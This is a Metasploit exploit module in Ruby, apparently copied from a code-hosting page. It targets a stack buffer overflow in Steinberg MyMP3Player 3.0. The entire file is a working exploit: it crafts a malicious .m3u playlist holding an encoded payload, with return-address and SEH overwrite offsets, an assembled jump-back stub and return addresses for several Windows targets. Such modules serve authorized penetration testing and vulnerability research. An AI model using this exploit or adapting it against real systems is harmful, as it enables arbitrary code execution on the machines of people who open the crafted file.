106 lines
2.9 KiB
Ruby
106 lines
2.9 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Steinberg MyMP3Player 3.0 Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in Steinberg MyMP3Player == 3.0. When
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the application is used to open a specially crafted m3u file, a buffer overflow occurs
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allowing arbitrary code execution.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'n3w7u', # original
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'm_101'
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],
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'References' =>
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[
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[ 'EDB', '11791' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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'DisablePayloadHandler' => 'true',
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},
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'Payload' =>
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{
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'Space' => 900,
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'BadChars' => "\x00\x0a\x0d\x5c",
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'DisableNops' => true,
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'PrependEncoder' => "\x81\xc4\xf0\xef\xff\xff"
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows Universal', { 'Ret' => 0x0043bea3 } ], # call ecx in My MP3.exe v3.0.0.67
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[ 'Windows Universal (SEH)', { 'Ret' => 0x00403e68 } ], # p/p/r in My MP3.exe v3.0.0.67
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[ 'Windows XP SP3 French', { 'Ret' => 0x72c6170b } ], # seh return in msacm.drv
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],
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'Privileged' => false,
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'DisclosureDate' => 'Mar 18 2010',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),
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], self.class)
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end
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def exploit
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# direct ret overwrite at offset 1024
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# nseh overwrite at offset 1040
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ret_offset = 1024
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seh_offset = 1040
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# start with the payload
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m3u = payload.encoded
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if (target.name =~ /SEH/)
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m3u << rand_text_alphanumeric(seh_offset - m3u.length)
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# ensure bad,no-nul addr for ret (trigger SEH)
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m3u[ret_offset,4] = [0xc0010101 | rand(0xffffffff)].pack('V')
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# We utilize a small stub near the end of the buffer space to
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# continue to the real shellcode...
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# NOTE: the push is to avoid a badchar (0x5c)
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stub = <<-EOF
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push ecx
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sub esp,-0x1a8
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ret
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EOF
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stub = Metasm::Shellcode.assemble(Metasm::Ia32.new, stub).encode_string
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m3u[seh_offset - stub.length, stub.length] = stub
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# Jump back to the stub
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jmp2 = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + stub.length.to_s).encode_string
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seh = ''
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seh << jmp2
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seh << rand_text(2)
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seh << [target.ret].pack('V')
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m3u << seh
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else
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m3u << rand_text_alphanumeric(1024 - m3u.length)
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m3u << [target.ret].pack('V')
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end
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print_status("Creating '#{datastore['FILENAME']}' file ...")
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file_create(m3u)
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end
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end
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